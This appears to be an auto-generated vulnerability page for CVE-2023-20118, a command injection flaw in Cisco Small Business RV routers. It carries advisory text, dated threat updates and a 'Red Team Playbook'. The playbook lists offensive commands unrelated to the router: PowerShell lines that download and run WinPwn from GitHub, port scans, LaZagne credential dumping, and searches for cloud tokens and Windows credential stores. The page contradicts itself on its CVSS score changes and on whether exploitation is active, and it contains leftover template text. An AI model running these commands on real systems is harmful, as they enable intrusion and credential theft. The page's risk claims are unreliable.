CVE-2023-20118
Overview
This vulnerability is a command injection flaw in the web-based management interface of Cisco Small Business RV Series Routers. It arises from improper validation of user-supplied input within incoming HTTP requests, allowing crafted data to be executed as system commands. The affected component is the HTTP management interface handling administrative requests on specific router firmware versions.
Vulnerability Description
A vulnerability in the web-based management interface of Cisco Small Business Routers RV016, RV042, RV042G, RV082, RV320, and RV325 Routers could allow an authenticated, remote attacker to execute arbitrary commands on an affected device. This vulnerability is due to improper validation of user input within incoming HTTP packets. An attacker could exploit this vulnerability by sending a crafted HTTP request to the web-based management interface. A successful exploit could allow the attacker to gain root-level privileges and access unauthorized data. To exploit this vulnerability, an attacker would need to have valid administrative credentials on the affected device. Cisco has not and will not release software updates that address this vulnerability. However, administrators may disable the affected feature as described in the Workarounds ["#workarounds"] section. {{value}} ["%7b%7bvalue%7d%7d"])}]]
Impact
An attacker with valid administrative credentials can execute arbitrary commands with root privileges on the affected routers, enabling full control over the device. This includes unauthorized access to sensitive configuration data and potential manipulation of network traffic. The prerequisite is possession of valid admin-level access to the web interface, which may be obtained through credential compromise. Successful exploitation can result in complete device takeover, undermining network security and enabling lateral movement or persistent access within the environment.
Solution
Cisco has not released software updates to address this issue. Administrators are advised to follow the workaround instructions detailed in Cisco Security Advisory cisco-sa-sbr042-multi-vuln-ej76Pke5, available at https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sbr042-multi-vuln-ej76Pke5. The advisory describes disabling the vulnerable web-based management feature to mitigate the risk. Users should consult this official source for detailed configuration steps and monitor Cisco communications for any future updates.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in the web-based management interface of specific Cisco Small Business Routers stems from improper validation of user input within incoming HTTP packets. This flaw allows an authenticated remote attacker to execute arbitrary commands on affected devices, which include models such as the RV016, RV042, RV042G, RV082, RV320, and RV325. The crux of the issue lies in the fact that the routers do not adequately sanitize input data, enabling attackers to craft malicious HTTP requests that can manipulate the device's functionality. By exploiting this vulnerability, an attacker with valid administrative credentials can gain root-level access, potentially leading to unauthorized data exposure and control over the device.
Exploitation of this vulnerability requires an attacker to possess valid administrative credentials, which may limit the pool of potential attackers to those with existing access to the network. However, once inside, the attacker can leverage this flaw to escalate privileges and execute arbitrary commands, effectively compromising the integrity and confidentiality of the router and any connected devices. Attack vectors may include targeted phishing campaigns to obtain credentials or leveraging insider threats. The crafted HTTP requests could be designed to perform a variety of malicious actions, such as altering configurations, redirecting traffic, or even deploying additional malware within the network.
The real-world impact of this vulnerability can be significant, particularly for small businesses that rely on these routers for their network infrastructure. A successful exploitation could lead to severe disruptions in operations, data breaches, and loss of customer trust. The potential for unauthorized access to sensitive information, such as customer data or proprietary business information, poses a considerable business risk. Furthermore, the absence of a software update from Cisco to address this vulnerability exacerbates the situation, leaving organizations with limited options for remediation. The inability to patch the vulnerability effectively means that affected businesses must rely on workarounds, which may not fully mitigate the risk.
Detection of this vulnerability can be challenging, as it requires monitoring for specific indicators of compromise associated with unauthorized command execution. Network administrators should implement robust logging and monitoring solutions to detect anomalous behavior within the router's management interface. Additionally, regular audits of access logs can help identify unauthorized access attempts. Mitigation strategies include disabling the affected feature as recommended in the workaround section provided by Cisco. Organizations should also consider implementing network segmentation to limit the exposure of these routers and restrict access to only trusted personnel.
In conclusion, the vulnerability in the web-based management interface of certain Cisco Small Business Routers presents a serious threat to network security. The combination of improper input validation and the requirement for valid administrative credentials creates a unique exploitation scenario that could have dire consequences for affected organizations. Given the lack of a software update to address the issue, proactive measures such as disabling vulnerable features and enhancing monitoring capabilities are essential to mitigate the risks associated with this vulnerability. Organizations must remain vigilant and adopt a comprehensive security posture to protect their networks from potential exploitation.
The CVSS score for CVE-2023-20118 has been revised downward from 7.2 to 6.5, reflecting a reassessment of the vulnerability’s exploitability and impact. This adjustment aligns with updated evaluations indicating that exploitation requires authenticated access to the web-based management interface, which limits the attack surface compared to initially perceived remote unauthenticated scenarios. CSURFACE threat intelligence notes that while the vulnerability remains a concern due to its potential for arbitrary command execution, the lowered severity score suggests a moderate risk level rather than high. Our telemetry continues to show no emergence of active exploitation or ransomware activity linked to this vulnerability, and the EPSS score remains low and stable, reinforcing a limited immediate threat. For defenders, this updated risk profile underscores the importance of maintaining strong authentication controls and monitoring administrative access rather than prioritizing emergency patching. The recalibrated threat level allows organizations to better allocate resources while remaining vigilant for any shifts in exploit tactics or ransomware adoption.
Update 2 — July 21, 2026
CSURFACE threat intelligence has detected a notable surge in activity related to CVE-2023-20118, reflected in an increased frequency of telemetry alerts from our sensors. This uptick corresponds with the recent elevation of the CVSS score to 7.2, indicating a reassessment of the vulnerability’s impact severity. Concurrently, the EPSS score has inched upward, signaling a modest rise in the likelihood of exploitation attempts. While no new exploit techniques or ransomware affiliations have been identified, the increased detection trend suggests adversaries are intensifying reconnaissance or preliminary probing efforts against affected Cisco Small Business RV Series Routers. This shift elevates the threat profile from moderate to high, underscoring a growing potential for successful command injection attacks if authentication controls are compromised. Defenders should interpret this as a warning that the vulnerability is gaining traction in the wild, warranting heightened vigilance in monitoring administrative interfaces and network traffic for anomalous behavior. The evolving landscape necessitates recalibrated risk assessments, as the window for exploitation is widening and the operational impact could be significant if leveraged by threat actors.
Update 3 — August 05, 2026
CSURFACE threat intelligence has detected a modest but meaningful uptick in activity related to CVE-2023-20118, reflected in a discernible increase in telemetry signals from affected Cisco Small Business Routers. While the overall exploit trend remains stable without emergent new techniques or proof-of-concept exploits, this rise in detection frequency indicates growing adversary interest or opportunistic scanning targeting the vulnerable web management interfaces. This development is significant because it suggests that threat actors may be intensifying reconnaissance or preliminary exploitation attempts, potentially increasing the likelihood of successful command injection attacks if authentication controls are bypassed. Consequently, the risk posture associated with this vulnerability has shifted upward, warranting a reassessment that acknowledges a heightened threat level. Although ransomware involvement remains unconfirmed, the increased activity underscores the need for continued vigilance as the window for exploitation broadens and the operational impact could escalate if leveraged by sophisticated attackers.
Update 4 — August 20, 2026
CSURFACE threat intelligence has identified a marked escalation in detection activity related to CVE-2023-20118, indicating increased adversary engagement with the vulnerability. This surge in telemetry suggests that threat actors are intensifying efforts to probe or exploit the affected Cisco Small Business Routers, potentially leveraging the command injection flaw within the web-based management interface. Although no new exploit techniques or ransomware affiliations have been confirmed, the persistence and growth of activity underscore a narrowing window for effective defense. The elevated exposure heightens the operational risk for organizations relying on these router models, as successful exploitation could lead to unauthorized command execution with significant network impact. Consequently, the threat level associated with this vulnerability has risen, reflecting a more active exploitation environment that demands heightened situational awareness and prioritization within risk management frameworks.
Affected Products (6)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Cisco | Rv016 Firmware | All |
cpe:2.3:o:cisco:rv016_firmware:*:*:*:*:*:*:*:*
|
|
|
Cisco | Rv042 Firmware | All |
cpe:2.3:o:cisco:rv042_firmware:*:*:*:*:*:*:*:*
|
|
|
Cisco | Rv042g Firmware | All |
cpe:2.3:o:cisco:rv042g_firmware:*:*:*:*:*:*:*:*
|
|
|
Cisco | Rv082 Firmware | All |
cpe:2.3:o:cisco:rv082_firmware:*:*:*:*:*:*:*:*
|
|
|
Cisco | Rv320 Firmware | All |
cpe:2.3:o:cisco:rv320_firmware:*:*:*:*:*:*:*:*
|
|
|
Cisco | Rv325 Firmware | All |
cpe:2.3:o:cisco:rv325_firmware:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
11 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-20118 |
| sec.cloudapps.cisco.com |
GitHub CVE
|
https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sbr042-multi-vuln-ej76Pke5 |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2023-20118 |